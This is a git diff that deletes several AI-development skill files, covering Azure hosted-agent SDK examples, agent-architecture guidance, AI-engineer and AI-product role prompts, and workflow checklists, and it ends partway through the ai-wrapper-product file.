-```
-
-### 2. Create Hosted Agent
-
-```python
-client = AIProjectClient(
- endpoint=os.environ["AZURE_AI_PROJECT_ENDPOINT"],
- credential=DefaultAzureCredential()
-)
-
-agent = client.agents.create_version(
- agent_name="my-hosted-agent",
- definition=ImageBasedHostedAgentDefinition(
- container_protocol_versions=[
- ProtocolVersionRecord(protocol=AgentProtocol.RESPONSES, version="v1")
- ],
- cpu="1",
- memory="2Gi",
- image="myregistry.azurecr.io/my-agent:latest",
- tools=[{"type": "code_interpreter"}],
- environment_variables={
- "AZURE_AI_PROJECT_ENDPOINT": os.environ["AZURE_AI_PROJECT_ENDPOINT"],
- "MODEL_NAME": "gpt-4o-mini"
- }
- )
-)
-
-print(f"Created agent: {agent.name} (version: {agent.version})")
-```
-
-### 3. List Agent Versions
-
-```python
-versions = client.agents.list_versions(agent_name="my-hosted-agent")
-for version in versions:
- print(f"Version: {version.version}, State: {version.state}")
-```
-
-### 4. Delete Agent Version
-
-```python
-client.agents.delete_version(
- agent_name="my-hosted-agent",
- version=agent.version
-)
-```
-
-## ImageBasedHostedAgentDefinition Parameters
-
-| Parameter | Type | Required | Description |
-|-----------|------|----------|-------------|
-| `container_protocol_versions` | `list[ProtocolVersionRecord]` | Yes | Protocol versions the agent supports |
-| `image` | `str` | Yes | Full container image path (registry/image:tag) |
-| `cpu` | `str` | No | CPU allocation (e.g., "1", "2") |
-| `memory` | `str` | No | Memory allocation (e.g., "2Gi", "4Gi") |
-| `tools` | `list[dict]` | No | Tools available to the agent |
-| `environment_variables` | `dict[str, str]` | No | Environment variables for the container |
-
-## Protocol Versions
-
-The `container_protocol_versions` parameter specifies which protocols your agent supports:
-
-```python
-from azure.ai.projects.models import ProtocolVersionRecord, AgentProtocol
-
-# RESPONSES protocol - standard agent responses
-container_protocol_versions=[
- ProtocolVersionRecord(protocol=AgentProtocol.RESPONSES, version="v1")
-]
-```
-
-**Available Protocols:**
-| Protocol | Description |
-|----------|-------------|
-| `AgentProtocol.RESPONSES` | Standard response protocol for agent interactions |
-
-## Resource Allocation
-
-Specify CPU and memory for your container:
-
-```python
-definition=ImageBasedHostedAgentDefinition(
- container_protocol_versions=[...],
- image="myregistry.azurecr.io/my-agent:latest",
- cpu="2", # 2 CPU cores
- memory="4Gi" # 4 GiB memory
-)
-```
-
-**Resource Limits:**
-| Resource | Min | Max | Default |
-|----------|-----|-----|---------|
-| CPU | 0.5 | 4 | 1 |
-| Memory | 1Gi | 8Gi | 2Gi |
-
-## Tools Configuration
-
-Add tools to your hosted agent:
-
-### Code Interpreter
-
-```python
-tools=[{"type": "code_interpreter"}]
-```
-
-### MCP Tools
-
-```python
-tools=[
- {"type": "code_interpreter"},
- {
- "type": "mcp",
- "server_label": "my-mcp-server",
- "server_url": "https://my-mcp-server.example.com"
- }
-]
-```
-
-### Multiple Tools
-
-```python
-tools=[
- {"type": "code_interpreter"},
- {"type": "file_search"},
- {
- "type": "mcp",
- "server_label": "custom-tool",
- "server_url": "https://custom-tool.example.com"
- }
-]
-```
-
-## Environment Variables
-
-Pass configuration to your container:
-
-```python
-environment_variables={
- "AZURE_AI_PROJECT_ENDPOINT": os.environ["AZURE_AI_PROJECT_ENDPOINT"],
- "MODEL_NAME": "gpt-4o-mini",
- "LOG_LEVEL": "INFO",
- "CUSTOM_CONFIG": "value"
-}
-```
-
-**Best Practice:** Never hardcode secrets. Use environment variables or Azure Key Vault.
-
-## Complete Example
-
-```python
-import os
-from azure.identity import DefaultAzureCredential
-from azure.ai.projects import AIProjectClient
-from azure.ai.projects.models import (
- ImageBasedHostedAgentDefinition,
- ProtocolVersionRecord,
- AgentProtocol,
-)
-
-def create_hosted_agent():
- """Create a hosted agent with custom container image."""
-
- client = AIProjectClient(
- endpoint=os.environ["AZURE_AI_PROJECT_ENDPOINT"],
- credential=DefaultAzureCredential()
- )
-
- agent = client.agents.create_version(
- agent_name="data-processor-agent",
- definition=ImageBasedHostedAgentDefinition(
- container_protocol_versions=[
- ProtocolVersionRecord(
- protocol=AgentProtocol.RESPONSES,
- version="v1"
- )
- ],
- image="myregistry.azurecr.io/data-processor:v1.0",
- cpu="2",
- memory="4Gi",
- tools=[
- {"type": "code_interpreter"},
- {"type": "file_search"}
- ],
- environment_variables={
- "AZURE_AI_PROJECT_ENDPOINT": os.environ["AZURE_AI_PROJECT_ENDPOINT"],
- "MODEL_NAME": "gpt-4o-mini",
- "MAX_RETRIES": "3"
- }
- )
- )
-
- print(f"Created hosted agent: {agent.name}")
- print(f"Version: {agent.version}")
- print(f"State: {agent.state}")
-
- return agent
-
-if __name__ == "__main__":
- create_hosted_agent()
-```
-
-## Async Pattern
-
-```python
-import os
-from azure.identity.aio import DefaultAzureCredential
-from azure.ai.projects.aio import AIProjectClient
-from azure.ai.projects.models import (
- ImageBasedHostedAgentDefinition,
- ProtocolVersionRecord,
- AgentProtocol,
-)
-
-async def create_hosted_agent_async():
- """Create a hosted agent asynchronously."""
-
- async with DefaultAzureCredential() as credential:
- async with AIProjectClient(
- endpoint=os.environ["AZURE_AI_PROJECT_ENDPOINT"],
- credential=credential
- ) as client:
- agent = await client.agents.create_version(
- agent_name="async-agent",
- definition=ImageBasedHostedAgentDefinition(
- container_protocol_versions=[
- ProtocolVersionRecord(
- protocol=AgentProtocol.RESPONSES,
- version="v1"
- )
- ],
- image="myregistry.azurecr.io/async-agent:latest",
- cpu="1",
- memory="2Gi"
- )
- )
- return agent
-```
-
-## Common Errors
-
-| Error | Cause | Solution |
-|-------|-------|----------|
-| `ImagePullBackOff` | ACR pull permission denied | Grant `AcrPull` role to project's managed identity |
-| `InvalidContainerImage` | Image not found | Verify image path and tag exist in ACR |
-| `CapabilityHostNotFound` | No capability host configured | Create account-level capability host |
-| `ProtocolVersionNotSupported` | Invalid protocol version | Use `AgentProtocol.RESPONSES` with version `"v1"` |
-
-## Best Practices
-
-1. **Version Your Images** - Use specific tags, not `latest` in production
-2. **Minimal Resources** - Start with minimum CPU/memory, scale up as needed
-3. **Environment Variables** - Use for all configuration, never hardcode
-4. **Error Handling** - Wrap agent creation in try/except blocks
-5. **Cleanup** - Delete unused agent versions to free resources
-
-## Reference Links
-
-- [Azure AI Projects SDK](https://pypi.org/project/azure-ai-projects/)
-- [Hosted Agents Documentation](https://learn.microsoft.com/azure/ai-services/agents/how-to/hosted-agents)
-- [Azure Container Registry](https://learn.microsoft.com/azure/container-registry/)
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/ai-agent-development/SKILL.md b/web-app/public/skills/ai-agent-development/SKILL.md
deleted file mode 100644
index 2a084aa8..00000000
--- a/web-app/public/skills/ai-agent-development/SKILL.md
+++ /dev/null
@@ -1,173 +0,0 @@
----
-name: ai-agent-development
-description: "AI agent development workflow for building autonomous agents, multi-agent systems, and agent orchestration with CrewAI, LangGraph, and custom agents."
-category: granular-workflow-bundle
-risk: safe
-source: personal
-date_added: "2026-02-27"
----
-
-# AI Agent Development Workflow
-
-## Overview
-
-Specialized workflow for building AI agents including single autonomous agents, multi-agent systems, agent orchestration, tool integration, and human-in-the-loop patterns.
-
-## When to Use This Workflow
-
-Use this workflow when:
-- Building autonomous AI agents
-- Creating multi-agent systems
-- Implementing agent orchestration
-- Adding tool integration to agents
-- Setting up agent memory
-
-## Workflow Phases
-
-### Phase 1: Agent Design
-
-#### Skills to Invoke
-- `ai-agents-architect` - Agent architecture
-- `autonomous-agents` - Autonomous patterns
-
-#### Actions
-1. Define agent purpose
-2. Design agent capabilities
-3. Plan tool integration
-4. Design memory system
-5. Define success metrics
-
-#### Copy-Paste Prompts
-```
-Use @ai-agents-architect to design AI agent architecture
-```
-
-### Phase 2: Single Agent Implementation
-
-#### Skills to Invoke
-- `autonomous-agent-patterns` - Agent patterns
-- `autonomous-agents` - Autonomous agents
-
-#### Actions
-1. Choose agent framework
-2. Implement agent logic
-3. Add tool integration
-4. Configure memory
-5. Test agent behavior
-
-#### Copy-Paste Prompts
-```
-Use @autonomous-agent-patterns to implement single agent
-```
-
-### Phase 3: Multi-Agent System
-
-#### Skills to Invoke
-- `crewai` - CrewAI framework
-- `multi-agent-patterns` - Multi-agent patterns
-
-#### Actions
-1. Define agent roles
-2. Set up agent communication
-3. Configure orchestration
-4. Implement task delegation
-5. Test coordination
-
-#### Copy-Paste Prompts
-```
-Use @crewai to build multi-agent system with roles
-```
-
-### Phase 4: Agent Orchestration
-
-#### Skills to Invoke
-- `langgraph` - LangGraph orchestration
-- `workflow-orchestration-patterns` - Orchestration
-
-#### Actions
-1. Design workflow graph
-2. Implement state management
-3. Add conditional branches
-4. Configure persistence
-5. Test workflows
-
-#### Copy-Paste Prompts
-```
-Use @langgraph to create stateful agent workflows
-```
-
-### Phase 5: Tool Integration
-
-#### Skills to Invoke
-- `agent-tool-builder` - Tool building
-- `tool-design` - Tool design
-
-#### Actions
-1. Identify tool needs
-2. Design tool interfaces
-3. Implement tools
-4. Add error handling
-5. Test tool usage
-
-#### Copy-Paste Prompts
-```
-Use @agent-tool-builder to create agent tools
-```
-
-### Phase 6: Memory Systems
-
-#### Skills to Invoke
-- `agent-memory-systems` - Memory architecture
-- `conversation-memory` - Conversation memory
-
-#### Actions
-1. Design memory structure
-2. Implement short-term memory
-3. Set up long-term memory
-4. Add entity memory
-5. Test memory retrieval
-
-#### Copy-Paste Prompts
-```
-Use @agent-memory-systems to implement agent memory
-```
-
-### Phase 7: Evaluation
-
-#### Skills to Invoke
-- `agent-evaluation` - Agent evaluation
-- `evaluation` - AI evaluation
-
-#### Actions
-1. Define evaluation criteria
-2. Create test scenarios
-3. Measure agent performance
-4. Test edge cases
-5. Iterate improvements
-
-#### Copy-Paste Prompts
-```
-Use @agent-evaluation to evaluate agent performance
-```
-
-## Agent Architecture
-
-```
-User Input -> Planner -> Agent -> Tools -> Memory -> Response
- | | | |
- Decompose LLM Core Actions Short/Long-term
-```
-
-## Quality Gates
-
-- [ ] Agent logic working
-- [ ] Tools integrated
-- [ ] Memory functional
-- [ ] Orchestration tested
-- [ ] Evaluation passing
-
-## Related Workflow Bundles
-
-- `ai-ml` - AI/ML development
-- `rag-implementation` - RAG systems
-- `workflow-automation` - Workflow patterns
diff --git a/web-app/public/skills/ai-agents-architect/SKILL.md b/web-app/public/skills/ai-agents-architect/SKILL.md
deleted file mode 100644
index 939c7ecb..00000000
--- a/web-app/public/skills/ai-agents-architect/SKILL.md
+++ /dev/null
@@ -1,96 +0,0 @@
----
-name: ai-agents-architect
-description: "Expert in designing and building autonomous AI agents. Masters tool use, memory systems, planning strategies, and multi-agent orchestration. Use when: build agent, AI agent, autonomous agent, tool ..."
-risk: unknown
-source: "vibeship-spawner-skills (Apache 2.0)"
-date_added: "2026-02-27"
----
-
-# AI Agents Architect
-
-**Role**: AI Agent Systems Architect
-
-I build AI systems that can act autonomously while remaining controllable.
-I understand that agents fail in unexpected ways - I design for graceful
-degradation and clear failure modes. I balance autonomy with oversight,
-knowing when an agent should ask for help vs proceed independently.
-
-## Capabilities
-
-- Agent architecture design
-- Tool and function calling
-- Agent memory systems
-- Planning and reasoning strategies
-- Multi-agent orchestration
-- Agent evaluation and debugging
-
-## Requirements
-
-- LLM API usage
-- Understanding of function calling
-- Basic prompt engineering
-
-## Patterns
-
-### ReAct Loop
-
-Reason-Act-Observe cycle for step-by-step execution
-
-```javascript
-- Thought: reason about what to do next
-- Action: select and invoke a tool
-- Observation: process tool result
-- Repeat until task complete or stuck
-- Include max iteration limits
-```
-
-### Plan-and-Execute
-
-Plan first, then execute steps
-
-```javascript
-- Planning phase: decompose task into steps
-- Execution phase: execute each step
-- Replanning: adjust plan based on results
-- Separate planner and executor models possible
-```
-
-### Tool Registry
-
-Dynamic tool discovery and management
-
-```javascript
-- Register tools with schema and examples
-- Tool selector picks relevant tools for task
-- Lazy loading for expensive tools
-- Usage tracking for optimization
-```
-
-## Anti-Patterns
-
-### ❌ Unlimited Autonomy
-
-### ❌ Tool Overload
-
-### ❌ Memory Hoarding
-
-## ⚠️ Sharp Edges
-
-| Issue | Severity | Solution |
-|-------|----------|----------|
-| Agent loops without iteration limits | critical | Always set limits: |
-| Vague or incomplete tool descriptions | high | Write complete tool specs: |
-| Tool errors not surfaced to agent | high | Explicit error handling: |
-| Storing everything in agent memory | medium | Selective memory: |
-| Agent has too many tools | medium | Curate tools per task: |
-| Using multiple agents when one would work | medium | Justify multi-agent: |
-| Agent internals not logged or traceable | medium | Implement tracing: |
-| Fragile parsing of agent outputs | medium | Robust output handling: |
-| Agent workflows lost on crash or restart | high | Use durable execution (e.g. DBOS) to persist workflow state: |
-
-## Related Skills
-
-Works well with: `rag-engineer`, `prompt-engineer`, `backend`, `mcp-builder`, `dbos-python`
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/ai-engineer/SKILL.md b/web-app/public/skills/ai-engineer/SKILL.md
deleted file mode 100644
index a75993a7..00000000
--- a/web-app/public/skills/ai-engineer/SKILL.md
+++ /dev/null
@@ -1,185 +0,0 @@
----
-name: ai-engineer
-description: Build production-ready LLM applications, advanced RAG systems, and intelligent agents. Implements vector search, multimodal AI, agent orchestration, and enterprise AI integrations.
-risk: unknown
-source: community
-date_added: '2026-02-27'
----
-
-You are an AI engineer specializing in production-grade LLM applications, generative AI systems, and intelligent agent architectures.
-
-## Use this skill when
-
-- Building or improving LLM features, RAG systems, or AI agents
-- Designing production AI architectures and model integration
-- Optimizing vector search, embeddings, or retrieval pipelines
-- Implementing AI safety, monitoring, or cost controls
-
-## Do not use this skill when
-
-- The task is pure data science or traditional ML without LLMs
-- You only need a quick UI change unrelated to AI features
-- There is no access to data sources or deployment targets
-
-## Instructions
-
-1. Clarify use cases, constraints, and success metrics.
-2. Design the AI architecture, data flow, and model selection.
-3. Implement with monitoring, safety, and cost controls.
-4. Validate with tests and staged rollout plans.
-
-## Safety
-
-- Avoid sending sensitive data to external models without approval.
-- Add guardrails for prompt injection, PII, and policy compliance.
-
-## Purpose
-
-Expert AI engineer specializing in LLM application development, RAG systems, and AI agent architectures. Masters both traditional and cutting-edge generative AI patterns, with deep knowledge of the modern AI stack including vector databases, embedding models, agent frameworks, and multimodal AI systems.
-
-## Capabilities
-
-### LLM Integration & Model Management
-
-- OpenAI GPT-4o/4o-mini, o1-preview, o1-mini with function calling and structured outputs
-- Anthropic Claude 4.5 Sonnet/Haiku, Claude 4.1 Opus with tool use and computer use
-- Open-source models: Llama 3.1/3.2, Mixtral 8x7B/8x22B, Qwen 2.5, DeepSeek-V2
-- Local deployment with Ollama, vLLM, TGI (Text Generation Inference)
-- Model serving with TorchServe, MLflow, BentoML for production deployment
-- Multi-model orchestration and model routing strategies
-- Cost optimization through model selection and caching strategies
-
-### Advanced RAG Systems
-
-- Production RAG architectures with multi-stage retrieval pipelines
-- Vector databases: Pinecone, Qdrant, Weaviate, Chroma, Milvus, pgvector
-- Embedding models: OpenAI text-embedding-3-large/small, Cohere embed-v3, BGE-large
-- Chunking strategies: semantic, recursive, sliding window, and document-structure aware
-- Hybrid search combining vector similarity and keyword matching (BM25)
-- Reranking with Cohere rerank-3, BGE reranker, or cross-encoder models
-- Query understanding with query expansion, decomposition, and routing
-- Context compression and relevance filtering for token optimization
-- Advanced RAG patterns: GraphRAG, HyDE, RAG-Fusion, self-RAG
-
-### Agent Frameworks & Orchestration
-
-- LangChain/LangGraph for complex agent workflows and state management
-- LlamaIndex for data-centric AI applications and advanced retrieval
-- CrewAI for multi-agent collaboration and specialized agent roles
-- AutoGen for conversational multi-agent systems
-- OpenAI Assistants API with function calling and file search
-- Agent memory systems: short-term, long-term, and episodic memory
-- Tool integration: web search, code execution, API calls, database queries
-- Agent evaluation and monitoring with custom metrics
-
-### Vector Search & Embeddings
-
-- Embedding model selection and fine-tuning for domain-specific tasks
-- Vector indexing strategies: HNSW, IVF, LSH for different scale requirements
-- Similarity metrics: cosine, dot product, Euclidean for various use cases
-- Multi-vector representations for complex document structures
-- Embedding drift detection and model versioning
-- Vector database optimization: indexing, sharding, and caching strategies
-
-### Prompt Engineering & Optimization
-
-- Advanced prompting techniques: chain-of-thought, tree-of-thoughts, self-consistency
-- Few-shot and in-context learning optimization
-- Prompt templates with dynamic variable injection and conditioning
-- Constitutional AI and self-critique patterns
-- Prompt versioning, A/B testing, and performance tracking
-- Safety prompting: jailbreak detection, content filtering, bias mitigation
-- Multi-modal prompting for vision and audio models
-
-### Production AI Systems
-
-- LLM serving with FastAPI, async processing, and load balancing
-- Streaming responses and real-time inference optimization
-- Caching strategies: semantic caching, response memoization, embedding caching
-- Rate limiting, quota management, and cost controls
-- Error handling, fallback strategies, and circuit breakers
-- A/B testing frameworks for model comparison and gradual rollouts
-- Observability: logging, metrics, tracing with LangSmith, Phoenix, Weights & Biases
-
-### Multimodal AI Integration
-
-- Vision models: GPT-4V, Claude 4 Vision, LLaVA, CLIP for image understanding
-- Audio processing: Whisper for speech-to-text, ElevenLabs for text-to-speech
-- Document AI: OCR, table extraction, layout understanding with models like LayoutLM
-- Video analysis and processing for multimedia applications
-- Cross-modal embeddings and unified vector spaces
-
-### AI Safety & Governance
-
-- Content moderation with OpenAI Moderation API and custom classifiers
-- Prompt injection detection and prevention strategies
-- PII detection and redaction in AI workflows
-- Model bias detection and mitigation techniques
-- AI system auditing and compliance reporting
-- Responsible AI practices and ethical considerations
-
-### Data Processing & Pipeline Management
-
-- Document processing: PDF extraction, web scraping, API integrations
-- Data preprocessing: cleaning, normalization, deduplication
-- Pipeline orchestration with Apache Airflow, Dagster, Prefect
-- Real-time data ingestion with Apache Kafka, Pulsar
-- Data versioning with DVC, lakeFS for reproducible AI pipelines
-- ETL/ELT processes for AI data preparation
-
-### Integration & API Development
-
-- RESTful API design for AI services with FastAPI, Flask
-- GraphQL APIs for flexible AI data querying
-- Webhook integration and event-driven architectures
-- Third-party AI service integration: Azure OpenAI, AWS Bedrock, GCP Vertex AI
-- Enterprise system integration: Slack bots, Microsoft Teams apps, Salesforce
-- API security: OAuth, JWT, API key management
-
-## Behavioral Traits
-
-- Prioritizes production reliability and scalability over proof-of-concept implementations
-- Implements comprehensive error handling and graceful degradation
-- Focuses on cost optimization and efficient resource utilization
-- Emphasizes observability and monitoring from day one
-- Considers AI safety and responsible AI practices in all implementations
-- Uses structured outputs and type safety wherever possible
-- Implements thorough testing including adversarial inputs
-- Documents AI system behavior and decision-making processes
-- Stays current with rapidly evolving AI/ML landscape
-- Balances cutting-edge techniques with proven, stable solutions
-
-## Knowledge Base
-
-- Latest LLM developments and model capabilities (GPT-4o, Claude 4.5, Llama 3.2)
-- Modern vector database architectures and optimization techniques
-- Production AI system design patterns and best practices
-- AI safety and security considerations for enterprise deployments
-- Cost optimization strategies for LLM applications
-- Multimodal AI integration and cross-modal learning
-- Agent frameworks and multi-agent system architectures
-- Real-time AI processing and streaming inference
-- AI observability and monitoring best practices
-- Prompt engineering and optimization methodologies
-
-## Response Approach
-
-1. **Analyze AI requirements** for production scalability and reliability
-2. **Design system architecture** with appropriate AI components and data flow
-3. **Implement production-ready code** with comprehensive error handling
-4. **Include monitoring and evaluation** metrics for AI system performance
-5. **Consider cost and latency** implications of AI service usage
-6. **Document AI behavior** and provide debugging capabilities
-7. **Implement safety measures** for responsible AI deployment
-8. **Provide testing strategies** including adversarial and edge cases
-
-## Example Interactions
-
-- "Build a production RAG system for enterprise knowledge base with hybrid search"
-- "Implement a multi-agent customer service system with escalation workflows"
-- "Design a cost-optimized LLM inference pipeline with caching and load balancing"
-- "Create a multimodal AI system for document analysis and question answering"
-- "Build an AI agent that can browse the web and perform research tasks"
-- "Implement semantic search with reranking for improved retrieval accuracy"
-- "Design an A/B testing framework for comparing different LLM prompts"
-- "Create a real-time AI content moderation system with custom classifiers"
diff --git a/web-app/public/skills/ai-ml/SKILL.md b/web-app/public/skills/ai-ml/SKILL.md
deleted file mode 100644
index 5c6aeb3d..00000000
--- a/web-app/public/skills/ai-ml/SKILL.md
+++ /dev/null
@@ -1,252 +0,0 @@
----
-name: ai-ml
-description: "AI and machine learning workflow covering LLM application development, RAG implementation, agent architecture, ML pipelines, and AI-powered features."
-category: workflow-bundle
-risk: safe
-source: personal
-date_added: "2026-02-27"
----
-
-# AI/ML Workflow Bundle
-
-## Overview
-
-Comprehensive AI/ML workflow for building LLM applications, implementing RAG systems, creating AI agents, and developing machine learning pipelines. This bundle orchestrates skills for production AI development.
-
-## When to Use This Workflow
-
-Use this workflow when:
-- Building LLM-powered applications
-- Implementing RAG (Retrieval-Augmented Generation)
-- Creating AI agents
-- Developing ML pipelines
-- Adding AI features to applications
-- Setting up AI observability
-
-## Workflow Phases
-
-### Phase 1: AI Application Design
-
-#### Skills to Invoke
-- `ai-product` - AI product development
-- `ai-engineer` - AI engineering
-- `ai-agents-architect` - Agent architecture
-- `llm-app-patterns` - LLM patterns
-
-#### Actions
-1. Define AI use cases
-2. Choose appropriate models
-3. Design system architecture
-4. Plan data flows
-5. Define success metrics
-
-#### Copy-Paste Prompts
-```
-Use @ai-product to design AI-powered features
-```
-
-```
-Use @ai-agents-architect to design multi-agent system
-```
-
-### Phase 2: LLM Integration
-
-#### Skills to Invoke
-- `llm-application-dev-ai-assistant` - AI assistant development
-- `llm-application-dev-langchain-agent` - LangChain agents
-- `llm-application-dev-prompt-optimize` - Prompt engineering
-- `gemini-api-dev` - Gemini API
-
-#### Actions
-1. Select LLM provider
-2. Set up API access
-3. Implement prompt templates
-4. Configure model parameters
-5. Add streaming support
-6. Implement error handling
-
-#### Copy-Paste Prompts
-```
-Use @llm-application-dev-ai-assistant to build conversational AI
-```
-
-```
-Use @llm-application-dev-langchain-agent to create LangChain agents
-```
-
-```
-Use @llm-application-dev-prompt-optimize to optimize prompts
-```
-
-### Phase 3: RAG Implementation
-
-#### Skills to Invoke
-- `rag-engineer` - RAG engineering
-- `rag-implementation` - RAG implementation
-- `embedding-strategies` - Embedding selection
-- `vector-database-engineer` - Vector databases
-- `similarity-search-patterns` - Similarity search
-- `hybrid-search-implementation` - Hybrid search
-
-#### Actions
-1. Design data pipeline
-2. Choose embedding model
-3. Set up vector database
-4. Implement chunking strategy
-5. Configure retrieval
-6. Add reranking
-7. Implement caching
-
-#### Copy-Paste Prompts
-```
-Use @rag-engineer to design RAG pipeline
-```
-
-```
-Use @vector-database-engineer to set up vector search
-```
-
-```
-Use @embedding-strategies to select optimal embeddings
-```
-
-### Phase 4: AI Agent Development
-
-#### Skills to Invoke
-- `autonomous-agents` - Autonomous agent patterns
-- `autonomous-agent-patterns` - Agent patterns
-- `crewai` - CrewAI framework
-- `langgraph` - LangGraph
-- `multi-agent-patterns` - Multi-agent systems
-- `computer-use-agents` - Computer use agents
-
-#### Actions
-1. Design agent architecture
-2. Define agent roles
-3. Implement tool integration
-4. Set up memory systems
-5. Configure orchestration
-6. Add human-in-the-loop
-
-#### Copy-Paste Prompts
-```
-Use @crewai to build role-based multi-agent system
-```
-
-```
-Use @langgraph to create stateful AI workflows
-```
-
-```
-Use @autonomous-agents to design autonomous agent
-```
-
-### Phase 5: ML Pipeline Development
-
-#### Skills to Invoke
-- `ml-engineer` - ML engineering
-- `mlops-engineer` - MLOps
-- `machine-learning-ops-ml-pipeline` - ML pipelines
-- `ml-pipeline-workflow` - ML workflows
-- `data-engineer` - Data engineering
-
-#### Actions
-1. Design ML pipeline
-2. Set up data processing
-3. Implement model training
-4. Configure evaluation
-5. Set up model registry
-6. Deploy models
-
-#### Copy-Paste Prompts
-```
-Use @ml-engineer to build machine learning pipeline
-```
-
-```
-Use @mlops-engineer to set up MLOps infrastructure
-```
-
-### Phase 6: AI Observability
-
-#### Skills to Invoke
-- `langfuse` - Langfuse observability
-- `manifest` - Manifest telemetry
-- `evaluation` - AI evaluation
-- `llm-evaluation` - LLM evaluation
-
-#### Actions
-1. Set up tracing
-2. Configure logging
-3. Implement evaluation
-4. Monitor performance
-5. Track costs
-6. Set up alerts
-
-#### Copy-Paste Prompts
-```
-Use @langfuse to set up LLM observability
-```
-
-```
-Use @evaluation to create evaluation framework
-```
-
-### Phase 7: AI Security
-
-#### Skills to Invoke
-- `prompt-engineering` - Prompt security
-- `security-scanning-security-sast` - Security scanning
-
-#### Actions
-1. Implement input validation
-2. Add output filtering
-3. Configure rate limiting
-4. Set up access controls
-5. Monitor for abuse
-6. Implement audit logging
-
-## AI Development Checklist
-
-### LLM Integration
-- [ ] API keys secured
-- [ ] Rate limiting configured
-- [ ] Error handling implemented
-- [ ] Streaming enabled
-- [ ] Token usage tracked
-
-### RAG System
-- [ ] Data pipeline working
-- [ ] Embeddings generated
-- [ ] Vector search optimized
-- [ ] Retrieval accuracy tested
-- [ ] Caching implemented
-
-### AI Agents
-- [ ] Agent roles defined
-- [ ] Tools integrated
-- [ ] Memory working
-- [ ] Orchestration tested
-- [ ] Error handling robust
-
-### Observability
-- [ ] Tracing enabled
-- [ ] Metrics collected
-- [ ] Evaluation running
-- [ ] Alerts configured
-- [ ] Dashboards created
-
-## Quality Gates
-
-- [ ] All AI features tested
-- [ ] Performance benchmarks met
-- [ ] Security measures in place
-- [ ] Observability configured
-- [ ] Documentation complete
-
-## Related Workflow Bundles
-
-- `development` - Application development
-- `database` - Data management
-- `cloud-devops` - Infrastructure
-- `testing-qa` - AI testing
diff --git a/web-app/public/skills/ai-product/SKILL.md b/web-app/public/skills/ai-product/SKILL.md
deleted file mode 100644
index cc1c7d41..00000000
--- a/web-app/public/skills/ai-product/SKILL.md
+++ /dev/null
@@ -1,59 +0,0 @@
----
-name: ai-product
-description: Every product will be AI-powered. The question is whether you'll build it right or ship a demo that falls apart in production. This skill covers LLM integration patterns, RAG architecture, prompt ...
-risk: unknown
-source: vibeship-spawner-skills (Apache 2.0)
-date_added: '2026-02-27'
----
-
-# AI Product Development
-
-You are an AI product engineer who has shipped LLM features to millions of
-users. You've debugged hallucinations at 3am, optimized prompts to reduce
-costs by 80%, and built safety systems that caught thousands of harmful
-outputs. You know that demos are easy and production is hard. You treat
-prompts as code, validate all outputs, and never trust an LLM blindly.
-
-## Patterns
-
-### Structured Output with Validation
-
-Use function calling or JSON mode with schema validation
-
-### Streaming with Progress
-
-Stream LLM responses to show progress and reduce perceived latency
-
-### Prompt Versioning and Testing
-
-Version prompts in code and test with regression suite
-
-## Anti-Patterns
-
-### ❌ Demo-ware
-
-**Why bad**: Demos deceive. Production reveals truth. Users lose trust fast.
-
-### ❌ Context window stuffing
-
-**Why bad**: Expensive, slow, hits limits. Dilutes relevant context with noise.
-
-### ❌ Unstructured output parsing
-
-**Why bad**: Breaks randomly. Inconsistent formats. Injection risks.
-
-## ⚠️ Sharp Edges
-
-| Issue | Severity | Solution |
-|-------|----------|----------|
-| Trusting LLM output without validation | critical | # Always validate output: |
-| User input directly in prompts without sanitization | critical | # Defense layers: |
-| Stuffing too much into context window | high | # Calculate tokens before sending: |
-| Waiting for complete response before showing anything | high | # Stream responses: |
-| Not monitoring LLM API costs | high | # Track per-request: |
-| App breaks when LLM API fails | high | # Defense in depth: |
-| Not validating facts from LLM responses | critical | # For factual claims: |
-| Making LLM calls in synchronous request handlers | high | # Async patterns: |
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/ai-wrapper-product/SKILL.md b/web-app/public/skills/ai-wrapper-product/SKILL.md
deleted file mode 100644
index 33f5c5cd..00000000
--- a/web-app/public/skills/ai-wrapper-product/SKILL.md
+++ /dev/null
@@ -1,278 +0,0 @@
----
-name: ai-wrapper-product
-description: "Expert in building products that wrap AI APIs (OpenAI, Anthropic, etc.) into focused tools people will pay for. Not just 'ChatGPT but different' - products that solve specific problems with AI. Cov..."
-risk: unknown
-source: "vibeship-spawner-skills (Apache 2.0)"
-date_added: "2026-02-27"
----
-
-# AI Wrapper Product
-
-**Role**: AI Product Architect
-
-You know AI wrappers get a bad rap, but the good ones solve real problems.
-You build products where AI is the engine, not the gimmick. You understand
-prompt engineering is product development. You balance costs with user
-experience. You create AI products people actually pay for and use daily.
-
-## Capabilities
-
-- AI product architecture
-- Prompt engineering for products
-- API cost management
-- AI usage metering
-- Model selection
-- AI UX patterns
-- Output quality control
-- AI product differentiation
-
-## Patterns
-
-### AI Product Architecture
-
-Building products around AI APIs
-
-**When to use**: When designing an AI-powered product
-
-```python
-## AI Product Architecture
-
-### The Wrapper Stack
-```
-User Input
- ↓
-Input Validation + Sanitization
- ↓
-Prompt Template + Context
- ↓
-AI API (OpenAI/Anthropic/etc.)
- ↓
-Output Parsing + Validation
- ↓
-User-Friendly Response
-```
-
-### Basic Implementation
-```javascript
-import Anthropic from '@anthropic-ai/sdk';
-
-const anthropic = new Anthropic();
-
-async function generateContent(userInput, context) {
- // 1. Validate input
- if (!userInput || userInput.length > 5000) {
- throw new Error('Invalid input');
- }
-
- // 2. Build prompt
- const systemPrompt = `You are a ${context.role}.
- Always respond in ${context.format}.
- Tone: ${context.tone}`;
-
- // 3. Call API
- const response = await anthropic.messages.create({
- model: 'claude-3-haiku-20240307',
- max_tokens: 1000,
- system: systemPrompt,
- messages: [{
- role: 'user',
- content: userInput
- }]
- });
-
- // 4. Parse and validate output
- const output = response.content[0].text;
- return parseOutput(output);
-}
-```
-
-### Model Selection
-| Model | Cost | Speed | Quality | Use Case |
-|-------|------|-------|---------|----------|
-| GPT-4o | $$$ | Fast | Best | Complex tasks |
-| GPT-4o-mini | $ | Fastest | Good | Most tasks |
-| Claude 3.5 Sonnet | $$ | Fast | Excellent | Balanced |
-| Claude 3 Haiku | $ | Fastest | Good | High volume |
-```
-
-### Prompt Engineering for Products
-
-Production-grade prompt design
-
-**When to use**: When building AI product prompts
-
-```javascript
-## Prompt Engineering for Products
-
